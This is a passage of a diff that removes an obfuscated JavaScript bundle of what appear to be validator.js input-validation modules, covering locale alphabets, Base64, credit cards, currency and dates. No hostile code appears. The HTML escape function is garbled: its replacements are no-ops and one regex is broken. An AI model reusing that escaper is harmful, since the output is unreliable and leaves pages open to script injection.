- "fr-FR": /^[0-9A-ZÀÂÆÇÉÈÊËÏÎÔŒÙÛÜŸ]+$/i,
- "it-IT": /^[0-9A-ZÀÉÈÌÎÓÒÙ]+$/i,
- "ja-JP": /^[0-90-9ぁ-んァ-ヶヲ-゚一-龠ー・。、]+$/i,
- "hu-HU": /^[0-9A-ZÁÉÍÓÖŐÚÜŰ]+$/i,
- "nb-NO": /^[0-9A-ZÆØÅ]+$/i,
- "nl-NL": /^[0-9A-ZÁÉËÏÓÖÜÚ]+$/i,
- "nn-NO": /^[0-9A-ZÆØÅ]+$/i,
- "pl-PL": /^[0-9A-ZĄĆĘŚŁŃÓŻŹ]+$/i,
- "pt-PT": /^[0-9A-ZÃÁÀÂÄÇÉÊËÍÏÕÓÔÖÚÜ]+$/i,
- "ru-RU": /^[0-9А-ЯЁ]+$/i,
- "sl-SI": /^[0-9A-ZČĆĐŠŽ]+$/i,
- "sk-SK": /^[0-9A-ZÁČĎÉÍŇÓŠŤÚÝŽĹŔĽÄÔ]+$/i,
- "sr-RS@latin": /^[0-9A-ZČĆŽŠĐ]+$/i,
- "sr-RS": /^[0-9А-ЯЂЈЉЊЋЏ]+$/i,
- "sv-SE": /^[0-9A-ZÅÄÖ]+$/i,
- "th-TH": /^[ก-๙\s]+$/i,
- "tr-TR": /^[0-9A-ZÇĞİıÖŞÜ]+$/i,
- "uk-UA": /^[0-9А-ЩЬЮЯЄIЇҐі]+$/i,
- "ko-KR": /^[0-9ㄱ-ㅎㅏ-ㅣ가-힣]*$/,
- "ku-IQ": /^[٠١٢٣٤٥٦٧٨٩0-9ئابپتجچحخدرڕزژسشعغفڤقکگلڵمنوۆھەیێيطؤثآإأكضصةظذ]+$/i,
- "vi-VN": /^[0-9A-ZÀÁẠẢÃÂẦẤẬẨẪĂẰẮẶẲẴĐÈÉẸẺẼÊỀẾỆỂỄÌÍỊỈĨÒÓỌỎÕÔỒỐỘỔỖƠỜỚỢỞỠÙÚỤỦŨƯỪỨỰỬỮỲÝỴỶỸ]+$/i,
- ar: /^[٠١٢٣٤٥٦٧٨٩0-9ءآأؤإئابةتثجحخدذرزسشصضطظعغفقكلمنهوىيًٌٍَُِّْٰ]+$/,
- he: /^[0-9א-ת]+$/,
- fa: /^['0-9آاءأؤئبپتثجچحخدذرزژسشصضطظعغفقکگلمنوهةی۱۲۳۴۵۶۷۸۹۰']+$/i,
- bn: /^['ঀঁংঃঅআইঈউঊঋঌএঐওঔকখগঘঙচছজঝঞটঠডঢণতথদধনপফবভমযরলশষসহ়ঽািীুূৃৄেৈোৌ্ৎৗড়ঢ়য়ৠৡৢৣ০১২৩৪৫৬৭৮৯ৰৱ৲৳৴৵৶৷৸৹৺৻']+$/,
- "hi-IN": /^[\u0900-\u0963]+[\u0966-\u097F]*$/i,
- "si-LK": /^[0-9\u0D80-\u0DFF]+$/
- };
- _0x55a027.alphanumeric = _0x10ec8a;
- var _0x51b547 = {
- "en-US": ".",
- ar: "٫"
- };
- _0x55a027.decimal = _0x51b547;
- var _0x334fab = ["AU", "GB", "HK", "IN", "NZ", "ZA", "ZM"];
- _0x55a027.englishLocales = _0x334fab;
- for (var _0x282063, _0x3f81cf = 0; _0x3f81cf < _0x334fab.length; _0x3f81cf++) {
- _0x496a16[_0x282063 = "en-".concat(_0x334fab[_0x3f81cf])] = _0x496a16["en-US"];
- _0x10ec8a[_0x282063] = _0x10ec8a["en-US"];
- _0x51b547[_0x282063] = ".";
- }
- var _0x33e804 = ["AE", "BH", "DZ", "EG", "IQ", "JO", "KW", "LB", "LY", "MA", "QM", "QA", "SA", "SD", "SY", "TN", "YE"];
- _0x55a027.arabicLocales = _0x33e804;
- for (var _0x335d35, _0x22ddbe = 0; _0x22ddbe < _0x33e804.length; _0x22ddbe++) {
- _0x496a16[_0x335d35 = "ar-".concat(_0x33e804[_0x22ddbe])] = _0x496a16.ar;
- _0x10ec8a[_0x335d35] = _0x10ec8a.ar;
- _0x51b547[_0x335d35] = "٫";
- }
- var _0x2cf1e3 = ["IR", "AF"];
- _0x55a027.farsiLocales = _0x2cf1e3;
- for (var _0x52adcb, _0x284e40 = 0; _0x284e40 < _0x2cf1e3.length; _0x284e40++) {
- _0x10ec8a[_0x52adcb = "fa-".concat(_0x2cf1e3[_0x284e40])] = _0x10ec8a.fa;
- _0x51b547[_0x52adcb] = "٫";
- }
- var _0x1f1080 = ["BD", "IN"];
- _0x55a027.bengaliLocales = _0x1f1080;
- for (var _0x394a35, _0x9cfa0 = 0; _0x9cfa0 < _0x1f1080.length; _0x9cfa0++) {
- _0x496a16[_0x394a35 = "bn-".concat(_0x1f1080[_0x9cfa0])] = _0x496a16.bn;
- _0x10ec8a[_0x394a35] = _0x10ec8a.bn;
- _0x51b547[_0x394a35] = ".";
- }
- var _0x384f2c = ["ar-EG", "ar-LB", "ar-LY"];
- _0x55a027.dotDecimal = _0x384f2c;
- var _0x5401c3 = ["bg-BG", "cs-CZ", "da-DK", "de-DE", "el-GR", "en-ZM", "es-ES", "fr-CA", "fr-FR", "id-ID", "it-IT", "ku-IQ", "hi-IN", "hu-HU", "nb-NO", "nn-NO", "nl-NL", "pl-PL", "pt-PT", "ru-RU", "si-LK", "sl-SI", "sr-RS@latin", "sr-RS", "sv-SE", "tr-TR", "uk-UA", "vi-VN"];
- _0x55a027.commaDecimal = _0x5401c3;
- for (var _0x5d192c = 0; _0x5d192c < _0x384f2c.length; _0x5d192c++) {
- _0x51b547[_0x384f2c[_0x5d192c]] = ".";
- }
- for (var _0x17c948 = 0; _0x17c948 < _0x5401c3.length; _0x17c948++) {
- _0x51b547[_0x5401c3[_0x17c948]] = ",";
- }
- _0x496a16["fr-CA"] = _0x496a16["fr-FR"];
- _0x10ec8a["fr-CA"] = _0x10ec8a["fr-FR"];
- _0x496a16["pt-BR"] = _0x496a16["pt-PT"];
- _0x10ec8a["pt-BR"] = _0x10ec8a["pt-PT"];
- _0x51b547["pt-BR"] = _0x51b547["pt-PT"];
- _0x496a16["pl-Pl"] = _0x496a16["pl-PL"];
- _0x10ec8a["pl-Pl"] = _0x10ec8a["pl-PL"];
- _0x51b547["pl-Pl"] = _0x51b547["pl-PL"];
- _0x496a16["fa-AF"] = _0x496a16.fa;
- },
- 4928: (_0x3d5825, _0x22ca01, _0x335cf7) => {
- "use strict";
-
- Object.defineProperty(_0x22ca01, "__esModule", {
- value: true
- });
- _0x22ca01.default = function (_0xc4b47b, _0x1b3ae0) {
- (0, _0x2ee03b.default)(_0xc4b47b);
- return _0xc4b47b.replace(new RegExp("[".concat(_0x1b3ae0, "]+"), "g"), "");
- };
- var _0x3503d2;
- var _0x2ee03b = (_0x3503d2 = _0x335cf7(5571)) && _0x3503d2.__esModule ? _0x3503d2 : {
- default: _0x3503d2
- };
- _0x3d5825.exports = _0x22ca01.default;
- _0x3d5825.exports.default = _0x22ca01.default;
- },
- 9466: (_0x54ec5a, _0xf8192a, _0x57e804) => {
- "use strict";
-
- Object.defineProperty(_0xf8192a, "__esModule", {
- value: true
- });
- _0xf8192a.default = function (_0x5e793f, _0x34cec7, _0x77bcf2) {
- (0, _0x5c5da.default)(_0x5e793f);
- return (_0x77bcf2 = (0, _0x59791b.default)(_0x77bcf2, _0x38edfb)).ignoreCase ? _0x5e793f.toLowerCase().split((0, _0x3c1e3e.default)(_0x34cec7).toLowerCase()).length > _0x77bcf2.minOccurrences : _0x5e793f.split((0, _0x3c1e3e.default)(_0x34cec7)).length > _0x77bcf2.minOccurrences;
- };
- var _0x5c5da = _0x2d2e23(_0x57e804(5571));
- var _0x3c1e3e = _0x2d2e23(_0x57e804(1913));
- var _0x59791b = _0x2d2e23(_0x57e804(4808));
- function _0x2d2e23(_0x17d7ea) {
- return _0x17d7ea && _0x17d7ea.__esModule ? _0x17d7ea : {
- default: _0x17d7ea
- };
- }
- var _0x38edfb = {
- ignoreCase: false,
- minOccurrences: 1
- };
- _0x54ec5a.exports = _0xf8192a.default;
- _0x54ec5a.exports.default = _0xf8192a.default;
- },
- 2315: (_0x44b4e8, _0xe3def0, _0x40baf0) => {
- "use strict";
-
- Object.defineProperty(_0xe3def0, "__esModule", {
- value: true
- });
- _0xe3def0.default = function (_0x1937de, _0x3f5a9f) {
- (0, _0x29a9cb.default)(_0x1937de);
- return _0x1937de === _0x3f5a9f;
- };
- var _0x393d05;
- var _0x29a9cb = (_0x393d05 = _0x40baf0(5571)) && _0x393d05.__esModule ? _0x393d05 : {
- default: _0x393d05
- };
- _0x44b4e8.exports = _0xe3def0.default;
- _0x44b4e8.exports.default = _0xe3def0.default;
- },
- 5152: (_0x346137, _0x428c9c, _0x1bfb51) => {
- "use strict";
-
- Object.defineProperty(_0x428c9c, "__esModule", {
- value: true
- });
- _0x428c9c.default = function (_0x40a680) {
- (0, _0x38086d.default)(_0x40a680);
- return _0x40a680.replace(/&/g, "&").replace(/"/g, """).replace(/'/g, "'").replace(//g, ">").replace(/\//g, "/").replace(/\\/g, "\").replace(/`/g, "`");
- };
- var _0x1406f3;
- var _0x38086d = (_0x1406f3 = _0x1bfb51(5571)) && _0x1406f3.__esModule ? _0x1406f3 : {
- default: _0x1406f3
- };
- _0x346137.exports = _0x428c9c.default;
- _0x346137.exports.default = _0x428c9c.default;
- },
- 3315: (_0x4a115d, _0x5cfa90, _0x4b9d06) => {
- "use strict";
-
- Object.defineProperty(_0x5cfa90, "__esModule", {
- value: true
- });
- _0x5cfa90.default = function (_0x2f945c, _0x1d2f8e) {
- var _0x1c6545 = (null == _0x1d2f8e ? undefined : _0x1d2f8e.comparisonDate) || _0x1d2f8e || Date().toString();
- var _0xb170e7 = (0, _0x4c436c.default)(_0x1c6545);
- var _0xd259fb = (0, _0x4c436c.default)(_0x2f945c);
- return !!(_0xd259fb && _0xb170e7 && _0xd259fb > _0xb170e7);
- };
- var _0x4400aa;
- var _0x4c436c = (_0x4400aa = _0x4b9d06(8469)) && _0x4400aa.__esModule ? _0x4400aa : {
- default: _0x4400aa
- };
- _0x4a115d.exports = _0x5cfa90.default;
- _0x4a115d.exports.default = _0x5cfa90.default;
- },
- 9234: (_0x134046, _0x5b28d7, _0x8b3a7e) => {
- "use strict";
-
- Object.defineProperty(_0x5b28d7, "__esModule", {
- value: true
- });
- _0x5b28d7.default = function (_0xb6f27) {
- var _0x41f2a0 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : "en-US";
- var _0xede27c = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : {};
- (0, _0x4d7eed.default)(_0xb6f27);
- var _0xd994ec = _0xb6f27;
- var _0x279bad = _0xede27c.ignore;
- if (_0x279bad) {
- if (_0x279bad instanceof RegExp) {
- _0xd994ec = _0xd994ec.replace(_0x279bad, "");
- } else {
- if ("string" != typeof _0x279bad) {
- throw new Error("ignore should be instance of a String or RegExp");
- }
- _0xd994ec = _0xd994ec.replace(new RegExp("[".concat(_0x279bad.replace(/[-[\]{}()*+?.,\\^$|#\\s]/g, "\\$&"), "]"), "g"), "");
- }
- }
- if (_0x41f2a0 in _0x2cbe56.alpha) {
- return _0x2cbe56.alpha[_0x41f2a0].test(_0xd994ec);
- }
- throw new Error("Invalid locale '".concat(_0x41f2a0, "'"));
- };
- _0x5b28d7.locales = undefined;
- var _0x27b38d;
- var _0x4d7eed = (_0x27b38d = _0x8b3a7e(5571)) && _0x27b38d.__esModule ? _0x27b38d : {
- default: _0x27b38d
- };
- var _0x2cbe56 = _0x8b3a7e(79);
- var _0x35fac8 = Object.keys(_0x2cbe56.alpha);
- _0x5b28d7.locales = _0x35fac8;
- },
- 4583: (_0x53505f, _0x15bd52, _0x450e58) => {
- "use strict";
-
- Object.defineProperty(_0x15bd52, "__esModule", {
- value: true
- });
- _0x15bd52.default = function (_0xad604) {
- var _0xd2b687 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : "en-US";
- var _0x21fac2 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : {};
- (0, _0x7aa4a7.default)(_0xad604);
- var _0x120e6a = _0xad604;
- var _0x4f7e6f = _0x21fac2.ignore;
- if (_0x4f7e6f) {
- if (_0x4f7e6f instanceof RegExp) {
- _0x120e6a = _0x120e6a.replace(_0x4f7e6f, "");
- } else {
- if ("string" != typeof _0x4f7e6f) {
- throw new Error("ignore should be instance of a String or RegExp");
- }
- _0x120e6a = _0x120e6a.replace(new RegExp("[".concat(_0x4f7e6f.replace(/[-[\]{}()*+?.,\\^$|#\\s]/g, "\\$&"), "]"), "g"), "");
- }
- }
- if (_0xd2b687 in _0x29fb9c.alphanumeric) {
- return _0x29fb9c.alphanumeric[_0xd2b687].test(_0x120e6a);
- }
- throw new Error("Invalid locale '".concat(_0xd2b687, "'"));
- };
- _0x15bd52.locales = undefined;
- var _0x44d564;
- var _0x7aa4a7 = (_0x44d564 = _0x450e58(5571)) && _0x44d564.__esModule ? _0x44d564 : {
- default: _0x44d564
- };
- var _0x29fb9c = _0x450e58(79);
- var _0x548582 = Object.keys(_0x29fb9c.alphanumeric);
- _0x15bd52.locales = _0x548582;
- },
- 4094: (_0x21b053, _0x2242e5, _0x283661) => {
- "use strict";
-
- Object.defineProperty(_0x2242e5, "__esModule", {
- value: true
- });
- _0x2242e5.default = function (_0x153a1b) {
- (0, _0x68a383.default)(_0x153a1b);
- return _0x2436b2.test(_0x153a1b);
- };
- var _0x2372c3;
- var _0x68a383 = (_0x2372c3 = _0x283661(5571)) && _0x2372c3.__esModule ? _0x2372c3 : {
- default: _0x2372c3
- };
- var _0x2436b2 = /^[\x00-\x7F]+$/;
- _0x21b053.exports = _0x2242e5.default;
- _0x21b053.exports.default = _0x2242e5.default;
- },
- 2438: (_0x58907b, _0xa869e4, _0x45cf0b) => {
- "use strict";
-
- Object.defineProperty(_0xa869e4, "__esModule", {
- value: true
- });
- _0xa869e4.default = function (_0x23fe10) {
- (0, _0x50e12a.default)(_0x23fe10);
- var _0x595ace = _0x23fe10.slice(4, 6).toUpperCase();
- return !(!_0x6a4db9.CountryCodes.has(_0x595ace) && "XK" !== _0x595ace) && _0x4b10b5.test(_0x23fe10);
- };
- var _0x5ac12e;
- var _0x50e12a = (_0x5ac12e = _0x45cf0b(5571)) && _0x5ac12e.__esModule ? _0x5ac12e : {
- default: _0x5ac12e
- };
- var _0x6a4db9 = _0x45cf0b(1727);
- var _0x4b10b5 = /^[A-Za-z]{6}[A-Za-z0-9]{2}([A-Za-z0-9]{3})?$/;
- _0x58907b.exports = _0xa869e4.default;
- _0x58907b.exports.default = _0xa869e4.default;
- },
- 2782: (_0x399735, _0x38cf5e, _0x3278ae) => {
- "use strict";
-
- Object.defineProperty(_0x38cf5e, "__esModule", {
- value: true
- });
- _0x38cf5e.default = function (_0xa981ea, _0xa7c0d) {
- (0, _0x5c6fc3.default)(_0xa981ea);
- return (_0xa7c0d = (0, _0x3c6386.default)(_0xa7c0d, _0x510564)).crockford ? _0x4790e5.test(_0xa981ea) : !(_0xa981ea.length % 8 != 0 || !_0x583b7a.test(_0xa981ea));
- };
- var _0x5c6fc3 = _0x51cd1f(_0x3278ae(5571));
- var _0x3c6386 = _0x51cd1f(_0x3278ae(4808));
- function _0x51cd1f(_0x3b2e30) {
- return _0x3b2e30 && _0x3b2e30.__esModule ? _0x3b2e30 : {
- default: _0x3b2e30
- };
- }
- var _0x583b7a = /^[A-Z2-7]+=*$/;
- var _0x4790e5 = /^[A-HJKMNP-TV-Z0-9]+$/;
- var _0x510564 = {
- crockford: false
- };
- _0x399735.exports = _0x38cf5e.default;
- _0x399735.exports.default = _0x38cf5e.default;
- },
- 5008: (_0x5bdd1e, _0x467973, _0x4148fe) => {
- "use strict";
-
- Object.defineProperty(_0x467973, "__esModule", {
- value: true
- });
- _0x467973.default = function (_0x3d4836) {
- (0, _0x51b578.default)(_0x3d4836);
- return !!_0x34e483.test(_0x3d4836);
- };
- var _0x2f43d1;
- var _0x51b578 = (_0x2f43d1 = _0x4148fe(5571)) && _0x2f43d1.__esModule ? _0x2f43d1 : {
- default: _0x2f43d1
- };
- var _0x34e483 = /^[A-HJ-NP-Za-km-z1-9]*$/;
- _0x5bdd1e.exports = _0x467973.default;
- _0x5bdd1e.exports.default = _0x467973.default;
- },
- 2689: (_0x30c317, _0x40398f, _0x406c72) => {
- "use strict";
-
- Object.defineProperty(_0x40398f, "__esModule", {
- value: true
- });
- _0x40398f.default = function (_0x3d3630, _0x2a43b4) {
- (0, _0x4779be.default)(_0x3d3630);
- _0x2a43b4 = (0, _0x18dbc5.default)(_0x2a43b4, _0xc9272b);
- var _0x5c78d9 = _0x3d3630.length;
- if (_0x2a43b4.urlSafe) {
- return _0x3e261c.test(_0x3d3630);
- }
- if (_0x5c78d9 % 4 != 0 || _0x44a5b6.test(_0x3d3630)) {
- return false;
- }
- var _0x96b325 = _0x3d3630.indexOf("=");
- return -1 === _0x96b325 || _0x96b325 === _0x5c78d9 - 1 || _0x96b325 === _0x5c78d9 - 2 && "=" === _0x3d3630[_0x5c78d9 - 1];
- };
- var _0x4779be = _0xf9e774(_0x406c72(5571));
- var _0x18dbc5 = _0xf9e774(_0x406c72(4808));
- function _0xf9e774(_0x3305a4) {
- return _0x3305a4 && _0x3305a4.__esModule ? _0x3305a4 : {
- default: _0x3305a4
- };
- }
- var _0x44a5b6 = /[^A-Z0-9+\/=]/i;
- var _0x3e261c = /^[A-Z0-9_\-]*$/i;
- var _0xc9272b = {
- urlSafe: false
- };
- _0x30c317.exports = _0x40398f.default;
- _0x30c317.exports.default = _0x40398f.default;
- },
- 1464: (_0x813ff6, _0x372566, _0x37fb1e) => {
- "use strict";
-
- Object.defineProperty(_0x372566, "__esModule", {
- value: true
- });
- _0x372566.default = function (_0x1573f9) {
- var _0x807b60 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : String(new Date());
- (0, _0x225082.default)(_0x1573f9);
- var _0x2f77b5 = (0, _0x4ff498.default)(_0x807b60);
- var _0x3b2870 = (0, _0x4ff498.default)(_0x1573f9);
- return !!(_0x3b2870 && _0x2f77b5 && _0x3b2870 < _0x2f77b5);
- };
- var _0x225082 = _0x55e1cf(_0x37fb1e(5571));
- var _0x4ff498 = _0x55e1cf(_0x37fb1e(8469));
- function _0x55e1cf(_0x5b208b) {
- return _0x5b208b && _0x5b208b.__esModule ? _0x5b208b : {
- default: _0x5b208b
- };
- }
- _0x813ff6.exports = _0x372566.default;
- _0x813ff6.exports.default = _0x372566.default;
- },
- 9493: (_0x15110b, _0x43680e, _0x51a5c5) => {
- "use strict";
-
- Object.defineProperty(_0x43680e, "__esModule", {
- value: true
- });
- _0x43680e.default = function (_0x1588cd) {
- var _0x52771f = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : _0x415472;
- (0, _0x1ba0fa.default)(_0x1588cd);
- return _0x52771f.loose ? _0x2fd2dc.includes(_0x1588cd.toLowerCase()) : _0x460990.includes(_0x1588cd);
- };
- var _0x46013d;
- var _0x1ba0fa = (_0x46013d = _0x51a5c5(5571)) && _0x46013d.__esModule ? _0x46013d : {
- default: _0x46013d
- };
- var _0x415472 = {
- loose: false
- };
- var _0x460990 = ["true", "false", "1", "0"];
- var _0x2fd2dc = [].concat(_0x460990, ["yes", "no"]);
- _0x15110b.exports = _0x43680e.default;
- _0x15110b.exports.default = _0x43680e.default;
- },
- 8021: (_0x3ceb4d, _0x1bbec7, _0x1702b5) => {
- "use strict";
-
- Object.defineProperty(_0x1bbec7, "__esModule", {
- value: true
- });
- _0x1bbec7.default = function (_0x5e5f47) {
- (0, _0xd74f07.default)(_0x5e5f47);
- return _0x2211eb.test(_0x5e5f47) || _0xbfb05a.test(_0x5e5f47);
- };
- var _0x128839;
- var _0xd74f07 = (_0x128839 = _0x1702b5(5571)) && _0x128839.__esModule ? _0x128839 : {
- default: _0x128839
- };
- var _0x2211eb = /^(bc1)[a-z0-9]{25,39}$/;
- var _0xbfb05a = /^(1|3)[A-HJ-NP-Za-km-z1-9]{25,39}$/;
- _0x3ceb4d.exports = _0x1bbec7.default;
- _0x3ceb4d.exports.default = _0x1bbec7.default;
- },
- 3235: (_0x3903b9, _0x36ab0f, _0x5922f8) => {
- "use strict";
-
- Object.defineProperty(_0x36ab0f, "__esModule", {
- value: true
- });
- _0x36ab0f.default = function (_0x1774dc, _0xb2897b) {
- var _0x35f1ee;
- var _0x4f97d6;
- (0, _0x3fe2de.default)(_0x1774dc);
- "object" === _0x5be04d(_0xb2897b) ? (_0x35f1ee = _0xb2897b.min || 0, _0x4f97d6 = _0xb2897b.max) : (_0x35f1ee = arguments[1], _0x4f97d6 = arguments[2]);
- var _0x259e2f = encodeURI(_0x1774dc).split(/%..|./).length - 1;
- return _0x259e2f >= _0x35f1ee && (undefined === _0x4f97d6 || _0x259e2f <= _0x4f97d6);
- };
- var _0x399357;
- var _0x3fe2de = (_0x399357 = _0x5922f8(5571)) && _0x399357.__esModule ? _0x399357 : {
- default: _0x399357
- };
- function _0x5be04d(_0x504f2c) {
- _0x5be04d = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (_0x929e2a) {
- return typeof _0x929e2a;
- } : function (_0x1030bf) {
- return _0x1030bf && "function" == typeof Symbol && _0x1030bf.constructor === Symbol && _0x1030bf !== Symbol.prototype ? "symbol" : typeof _0x1030bf;
- };
- return _0x5be04d(_0x504f2c);
- }
- _0x3903b9.exports = _0x36ab0f.default;
- _0x3903b9.exports.default = _0x36ab0f.default;
- },
- 682: (_0x39fa45, _0x243c0f, _0xb75cb) => {
- "use strict";
-
- Object.defineProperty(_0x243c0f, "__esModule", {
- value: true
- });
- _0x243c0f.default = function (_0x4bee0d) {
- var _0x53b3dd = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : {};
- (0, _0x340bb5.default)(_0x4bee0d);
- var _0x5bd879 = _0x53b3dd.provider;
- var _0x2194cd = _0x4bee0d.replace(/[- ]+/g, "");
- if (_0x5bd879 && _0x5bd879.toLowerCase() in _0x76ddca) {
- if (!_0x76ddca[_0x5bd879.toLowerCase()].test(_0x2194cd)) {
- return false;
- }
- } else {
- if (_0x5bd879 && !(_0x5bd879.toLowerCase() in _0x76ddca)) {
- throw new Error("".concat(_0x5bd879, " is not a valid credit card provider."));
- }
- if (!_0x5ab423.test(_0x2194cd)) {
- return false;
- }
- }
- return (0, _0x4efbfc.default)(_0x4bee0d);
- };
- var _0x340bb5 = _0x3f468d(_0xb75cb(5571));
- var _0x4efbfc = _0x3f468d(_0xb75cb(1592));
- function _0x3f468d(_0x136fdc) {
- return _0x136fdc && _0x136fdc.__esModule ? _0x136fdc : {
- default: _0x136fdc
- };
- }
- var _0x76ddca = {
- amex: /^3[47][0-9]{13}$/,
- dinersclub: /^3(?:0[0-5]|[68][0-9])[0-9]{11}$/,
- discover: /^6(?:011|5[0-9][0-9])[0-9]{12,15}$/,
- jcb: /^(?:2131|1800|35\d{3})\d{11}$/,
- mastercard: /^5[1-5][0-9]{2}|(222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}$/,
- unionpay: /^(6[27][0-9]{14}|^(81[0-9]{14,17}))$/,
- visa: /^(?:4[0-9]{12})(?:[0-9]{3,6})?$/
- };
- var _0x5ab423 = /^(?:4[0-9]{12}(?:[0-9]{3,6})?|5[1-5][0-9]{14}|(222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}|6(?:011|5[0-9][0-9])[0-9]{12,15}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11}|6[27][0-9]{14}|^(81[0-9]{14,17}))$/;
- _0x39fa45.exports = _0x243c0f.default;
- _0x39fa45.exports.default = _0x243c0f.default;
- },
- 94: (_0x414f58, _0x232c00, _0x444273) => {
- "use strict";
-
- Object.defineProperty(_0x232c00, "__esModule", {
- value: true
- });
- _0x232c00.default = function (_0x1db436, _0x35ccc1) {
- (0, _0x27aad.default)(_0x1db436);
- return function (_0x39a213) {
- var _0x581520 = "\\d{".concat(_0x39a213.digits_after_decimal[0], "}");
- _0x39a213.digits_after_decimal.forEach(function (_0x317b25, _0x4a0a92) {
- 0 !== _0x4a0a92 && (_0x581520 = "".concat(_0x581520, "|\\d{").concat(_0x317b25, "}"));
- });
- var _0x283136 = "(".concat(_0x39a213.symbol.replace(/\W/, function (_0x560dd0) {
- return "\\".concat(_0x560dd0);
- }), ")").concat(_0x39a213.require_symbol ? "" : "?");
- var _0x38d4ab = "-?";
- var _0x52942a = "[1-9]\\d{0,2}(\\".concat(_0x39a213.thousands_separator, "\\d{3})*");
- var _0xe4d971 = "(".concat(["0", "[1-9]\\d*", _0x52942a].join("|"), ")?");
- var _0x2268f3 = "(\\".concat(_0x39a213.decimal_separator, "(").concat(_0x581520, "))").concat(_0x39a213.require_decimal ? "" : "?");
- var _0xaaccb4 = _0xe4d971 + (_0x39a213.allow_decimal || _0x39a213.require_decimal ? _0x2268f3 : "");
- _0x39a213.allow_negatives && !_0x39a213.parens_for_negatives && (_0x39a213.negative_sign_after_digits ? _0xaaccb4 += _0x38d4ab : _0x39a213.negative_sign_before_digits && (_0xaaccb4 = _0x38d4ab + _0xaaccb4));
- _0x39a213.allow_negative_sign_placeholder ? _0xaaccb4 = "( (?!\\-))?".concat(_0xaaccb4) : _0x39a213.allow_space_after_symbol ? _0xaaccb4 = " ?".concat(_0xaaccb4) : _0x39a213.allow_space_after_digits && (_0xaaccb4 += "( (?!$))?");
- _0x39a213.symbol_after_digits ? _0xaaccb4 += _0x283136 : _0xaaccb4 = _0x283136 + _0xaaccb4;
- _0x39a213.allow_negatives && (_0x39a213.parens_for_negatives ? _0xaaccb4 = "(\\(".concat(_0xaaccb4, "\\)|").concat(_0xaaccb4, ")") : _0x39a213.negative_sign_before_digits || _0x39a213.negative_sign_after_digits || (_0xaaccb4 = _0x38d4ab + _0xaaccb4));
- return new RegExp("^(?!-? )(?=.*\\d)".concat(_0xaaccb4, "$"));
- }(_0x35ccc1 = (0, _0x139f18.default)(_0x35ccc1, _0x19aba1)).test(_0x1db436);
- };
- var _0x139f18 = _0x2ec570(_0x444273(4808));
- var _0x27aad = _0x2ec570(_0x444273(5571));
- function _0x2ec570(_0x2e0f08) {
- return _0x2e0f08 && _0x2e0f08.__esModule ? _0x2e0f08 : {
- default: _0x2e0f08
- };
- }
- var _0x19aba1 = {
- symbol: "$",
- require_symbol: false,
- allow_space_after_symbol: false,
- symbol_after_digits: false,
- allow_negatives: true,
- parens_for_negatives: false,
- negative_sign_before_digits: false,
- negative_sign_after_digits: false,
- allow_negative_sign_placeholder: false,
- thousands_separator: ",",
- decimal_separator: ".",
- allow_decimal: true,
- require_decimal: false,
- digits_after_decimal: [2],
- allow_space_after_digits: false
- };
- _0x414f58.exports = _0x232c00.default;
- _0x414f58.exports.default = _0x232c00.default;
- },
- 8983: (_0x8e1689, _0x516e87, _0x579a52) => {
- "use strict";
-
- Object.defineProperty(_0x516e87, "__esModule", {
- value: true
- });
- _0x516e87.default = function (_0x1fafc6) {
- (0, _0x4ff822.default)(_0x1fafc6);
- var _0x46d6eb = _0x1fafc6.split(",");
- if (_0x46d6eb.length < 2) {
- return false;
- }
- var _0x2a2472 = _0x46d6eb.shift().trim().split(";");
- var _0x22e24b = _0x2a2472.shift();
- if ("data:" !== _0x22e24b.slice(0, 5)) {
- return false;
- }
- var _0x32f6ca = _0x22e24b.slice(5);
- if ("" !== _0x32f6ca && !_0x470024.test(_0x32f6ca)) {
- return false;
- }
- for (var _0x358431 = 0; _0x358431 < _0x2a2472.length; _0x358431++) {
- if ((_0x358431 !== _0x2a2472.length - 1 || "base64" !== _0x2a2472[_0x358431].toLowerCase()) && !_0x3e812e.test(_0x2a2472[_0x358431])) {
- return false;
- }
- }
- for (var _0x4d1506 = 0; _0x4d1506 < _0x46d6eb.length; _0x4d1506++) {
- if (!_0x1b7f04.test(_0x46d6eb[_0x4d1506])) {
- return false;
- }
- }
- return true;
- };
- var _0x4778fc;
- var _0x4ff822 = (_0x4778fc = _0x579a52(5571)) && _0x4778fc.__esModule ? _0x4778fc : {
- default: _0x4778fc
- };
- var _0x470024 = /^[a-z]+\/[a-z0-9\-\+\._]+$/i;
- var _0x3e812e = /^[a-z\-]+=[a-z0-9\-]+$/i;
- var _0x1b7f04 = /^[a-z0-9!\$&'\(\)\*\+,;=\-\._~:@\/\?%\s]*$/i;
- _0x8e1689.exports = _0x516e87.default;
- _0x8e1689.exports.default = _0x516e87.default;
- },
- 2549: (_0x47c076, _0x4f42b5, _0x24cbc4) => {
- "use strict";
-
- Object.defineProperty(_0x4f42b5, "__esModule", {
- value: true
- });
- _0x4f42b5.default = function (_0x2cfc08, _0x5496d0) {
- if (_0x5496d0 = "string" == typeof _0x5496d0 ? (0, _0x4e6631.default)({
- format: _0x5496d0
- }, _0x31c139) : (0, _0x4e6631.default)(_0x5496d0, _0x31c139), "string" == typeof _0x2cfc08 && (_0x4ca1a1 = _0x5496d0.format, /(^(y{4}|y{2})[.\/-](m{1,2})[.\/-](d{1,2})$)|(^(m{1,2})[.\/-](d{1,2})[.\/-]((y{4}|y{2})$))|(^(d{1,2})[.\/-](m{1,2})[.\/-]((y{4}|y{2})$))/gi.test(_0x4ca1a1))) {
- var _0x4cd518;
- var _0x24046c = _0x5496d0.delimiters.find(function (_0x1e4204) {
- return -1 !== _0x5496d0.format.indexOf(_0x1e4204);
- });
- var _0x1e2184 = _0x5496d0.strictMode ? _0x24046c : _0x5496d0.delimiters.find(function (_0xaabde6) {
- return -1 !== _0x2cfc08.indexOf(_0xaabde6);
- });
- var _0x2fc14d = function (_0xddbe3f, _0x24a89e) {
